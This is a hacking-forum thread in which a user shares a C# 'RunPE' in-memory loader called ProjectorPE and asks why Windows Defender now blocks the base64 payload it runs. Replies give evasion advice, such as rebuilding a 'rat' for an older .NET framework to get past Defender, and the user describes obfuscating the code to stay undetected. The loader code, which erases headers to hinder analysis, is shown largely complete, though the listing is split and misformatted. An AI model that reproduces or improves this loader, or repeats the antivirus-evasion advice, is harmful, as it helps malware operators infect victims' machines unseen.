

Forum:[Hack Forums](#)

Thread: [A problem with gigajew's runpe \(ProjectorPE\)](#)

hdfduinn12 - September 20, 2019, 3:11 pm

So i have been using his code for a while, it was nice and simple

```
Code using System;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security;
using System.Threading;
```

```
/// <summary>
/// ProjectorPE RunPE for .NET assemblies
/// Created by gigajew@hf
/// Version: 5
/// </summary>
public static class ProjectorPE
{
    [DllImport("kernel32.dll")]
    private static extern void RtlZeroMemory(IntPtr address, int size);

    [SuppressUnmanagedCodeSecurity]
    private delegate object ExecuteAssembly(object sender, object[] parameters);

    public static void Run(byte[] buffer)
    {
        // patch credits: Menalix (modified by gigajew to not throw exception)
        int e_lfanew = BitConverter.ToInt32(buffer, 0x3c);
        Buffer.SetByte(buffer, e_lfanew + 0x398, 2);

        object[] parameters = null;

        Assembly assembly = Thread.GetDomain().Load(buffer);
        MethodInfo entrypoint = assembly.EntryPoint;
        if (entrypoint.GetParameters().Length > 0)
        {
            parameters = new object[] { new string[] { null } };
        }

        Thread assemblyExecuteThread = new Thread(() =>
        {
            Thread.BeginThreadAffinity();
            Thread.BeginCriticalRegion();

            ExecuteAssembly executeAssembly = new ExecuteAssembly(entrypoint.Invoke);
            executeAssembly(null, parameters);

            Thread.EndCriticalRegion();
            Thread.EndThreadAffinity();
        });
    }
}
```

```

});

if (parameters != null)
{
    if (parameters.Length > 0)
    {
        assemblyExecuteThread.SetApartmentState(ApartmentState.STA);
    }
    else
    {
        assemblyExecuteThread.SetApartmentState(ApartmentState.MTA);
    }
}

RtlZeroMemory(Marshal.GetHINSTANCE(assembly.ManifestModule), 32);
assemblyExecuteThread.Start();

}

public static void Run(string strBuffer)
{
    byte[] buffer = Unwrap(strBuffer);
    Run(buffer);
}

private static byte[] Unwrap(string buffer)
{
    byte[] assemblyByteBuffer = new byte[buffer.Length];
    for (int i = 0; i < buffer.Length; i++)
        assemblyByteBuffer[i] = (byte)buffer[i];
    return assemblyByteBuffer;
}
}

```

i was doing everything basic

Code ProjectorPE.Run(Convert.FromBase64String(base64payload)

but now it just doesnt work, its not the framework version

i used this 3 months ago since i was busy with college stuff

could you guys tell me where i messed up?

I don't want to make myself an idiot.

gigajew - September 20, 2019, 8:42 pm

I accidentally reversed the if-statement about the MTA and STA. Just reverse it and you'll be good. Like if Arguments > 0 then it should be MTA otherwise STA. However you do need to post your error stack trace so we can actually see whats going on. Also specify your executable architecture etc.

hdfduunn12 - September 20, 2019, 11:09 pm

(Sep 20, 2019 08:42 PM)gigajew Wrote: [CITE](#) I accidentally reversed the if-statement about the MTA and STA. Just reverse it and you'll be good. Like if Arguments > 0 then it should be MTA otherwise STA. However you do need to post your error stack trace so we can actually see whats going on. Also specify your executable architecture etc.

well, if you did reverse that accidentally i wonder how did it work in the past

it's a x86 executable

this is the error i get

Code Unhandled Exception: System.BadImageFormatException: Could not load file or assembly '122368 bytes loaded from ConsoleApp3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null' or one of its dependencies. An attempt was made to load a program with an incorrect format. ---> System.BadImageFormatException: Operation did not complete successfully because the file contains a virus or potentially unwanted software. (Exception from HRESULT: 0x800700E1)

--- End of inner exception stack trace ---

at System.Reflection.RuntimeAssembly.nLoadImage(Byte[] rawAssembly, Byte[] rawSymbolStore, Evidence evidence, StackCrawlMark& stackMark, Boolean flntrospection, Boolean fSkipIntegrityCheck, SecurityContextSource securityContextSource)

at System.AppDomain.Load(Byte[] rawAssembly)

at ProjectorPE.Run(Byte[] buffer) in

C:\Users\OP\source\repos\ConsoleApp3\ConsoleApp3\Class1.cs:line 28

at ConsoleApp3.Program.Main(String[] args) in

C:\Users\OP\source\repos\ConsoleApp3\ConsoleApp3\Program.cs:line 16

also all the firewalls, antiviruses are turned off from gpedit

n0s1eep - September 21, 2019, 1:20 am

The error message means that Windows Defender, or some other antimalware tool, blocked access to the code in realtime. You probably still have some protections running in the background even if you think you disabled them.

hdfduunn12 - September 21, 2019, 2:24 am

i tried running it on an rdp too.

n0s1eep - September 21, 2019, 4:42 am

And did you make sure that all malware protecions were disabled on the RDP machine?

NYANxCAT - September 21, 2019, 5:35 am

(Sep 20, 2019 11:09 PM)hdfduunn12 Wrote: [\[CITE\]](#) well, if you did reverse that accidentally i wonder how did it work in the past

it's a x86 executable

this is the error i get

Code Unhandled Exception: System.BadImageFormatException: Could not load file or assembly '122368 bytes loaded from ConsoleApp3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null' or one of its dependencies. An attempt was made to load a program with an incorrect format. ---> System.BadImageFormatException: Operation did not complete successfully because the file contains a virus or potentially unwanted software. (Exception from HRESULT: 0x800700E1)

--- End of inner exception stack trace ---

at System.Reflection.RuntimeAssembly.nLoadImage(Byte[] rawAssembly, Byte[] rawSymbolStore, Evidence evidence, StackCrawlMark& stackMark, Boolean flntrospection, Boolean fSkipIntegrityCheck, SecurityContextSource securityContextSource)

at System.AppDomain.Load(Byte[] rawAssembly)

at ProjectorPE.Run(Byte[] buffer) in

C:\Users\OP\source\repos\ConsoleApp3\ConsoleApp3\Class1.cs:line 28

at ConsoleApp3.Program.Main(String[] args) in

C:\Users\OP\source\repos\ConsoleApp3\ConsoleApp3\Program.cs:line 16

also all the firewalls, antiviruses are turned off from gpedit

"did not complete successfully because the file contains a virus or potentially unwanted software."

You are using win10 right?

hdfduunn12 - September 21, 2019, 9:02 am

yep i'm using windows 10, but if the windows 10 antivrius gives me this error " did not complete successfully because the file contains a virus or potentially unwanted software " how could i make it undetected, since i completely renamed the methods, strings, added fake functions, added fake methods

NYANxCAT - September 21, 2019, 9:05 am

(Sep 21, 2019 09:02 AM)hdfduunn12 Wrote: [\[CITE\]](#) yep i'm using windows 10, but if the windows 10 antivrius gives me this error " did not complete successfully because the file contains a virus or potentially unwanted software " how could i make it undetected, since i completely renamed the methods, strings, added fake functions, added fake methods

There are many methods/tricks to bypass wd win10.

One of them is to make your file/rat 2.0 framework.

You need to search for other methods. GL

Washi - September 21, 2019, 9:39 am

(Sep 20, 2019 08:42 PM)gigajew Wrote: [\[CITE\]](#) I accidentally reversed the if-statement about the MTA and STA. Just reverse it and you'll be good. Like if Arguments > 0 then it should be MTA otherwise STA. However you do need to post your error stack trace so we can actually see whats going on. Also specify your executable architecture etc.

You do realize that the thread apartment state has nothing to do with the number of arguments that the main method defines, right? ?

gigajew - September 21, 2019, 10:04 am

(Sep 21, 2019 09:39 AM)Washi Wrote: [\[CITE\]](#) You do realize that the thread apartment state has nothing to do with the number of arguments that the main method defines, right? ?

Not really but in a default scenario the console app would have arguments and the win forms would not

0xDEAD10CC - September 21, 2019, 6:49 pm

(Sep 21, 2019 10:04 AM)gigajew Wrote: [\[CITE\]](#) Not really but in a default scenario the console app would have arguments and the win forms would not

Hmm?A winforms app can always have arguments, it just depends on if they're processed or not. How do you think notepad opens a file if you specify it as a command line argument?

<https://docs.microsoft.com/en-us/dotnet/api/system.environment.getcommandlineargs?view=netframework-4.8>

But this has nothing to do with thread apartment state either.

gigajew - September 21, 2019, 7:55 pm

(Sep 21, 2019 06:49 PM)0xDEAD10CC Wrote: [\[CITE\]](#) Hmm?A winforms app can always have arguments, it just depends on if they're processed or not. How do you think notepad opens a file if you specify it as a command line argument?

<https://docs.microsoft.com/en-us/dotnet/api/system.environment.getcommandlineargs?view=netframework-4.8>

But this has nothing to do with thread apartment state either.

Visual studio by default makes an ep with no arguments for winforms

hdfduunn12 - September 22, 2019, 6:19 am

dont argue pls just help me

MavenGradle - September 22, 2019, 7:07 am

(Sep 21, 2019 10:04 AM)gigajew Wrote: [\[CITE\]](#) Not really but in a default scenario the console app would have arguments and the win forms would not

It's not really that hard to turn this:

```
Code    static void Main()
    {
        Application.EnableVisualStyles();
        Application.SetCompatibleTextRenderingDefault(false);
        Application.Run(new FrmMain());
    }
```

Into this:

```
Code    static void Main(string[] args)
    {
        // Handle arguments
        Application.EnableVisualStyles();
        Application.SetCompatibleTextRenderingDefault(false);
        Application.Run(new FrmMain());
    }
```

gigajew - September 22, 2019, 7:25 am

(Sep 22, 2019 07:07 AM)MavenGradle Wrote: [\[CITE\]](#) It's not really that hard to turn this:

```
Code    static void Main()
    {
        Application.EnableVisualStyles();
        Application.SetCompatibleTextRenderingDefault(false);
        Application.Run(new FrmMain());
    }
```

Into this:

```
Code    static void Main(string[] args)
    {
        // Handle arguments
        Application.EnableVisualStyles();
        Application.SetCompatibleTextRenderingDefault(false);
        Application.Run(new FrmMain());
    }
```

Of course it's not hard, it's default behavior like it i said. Of course you can paint a house any color you want but when you buy it it may start out blue

0xDEAD10CC - September 22, 2019, 3:18 pm

(Sep 22, 2019 07:25 AM)gigajew Wrote: [\[CITE\]](#) Of course it's not hard, it's default behavior like it i said. Of course you can paint a house any color you want but when you buy it it may start out blue

Why are you assuming default behavior? That's the question we're asking, but you're not understanding.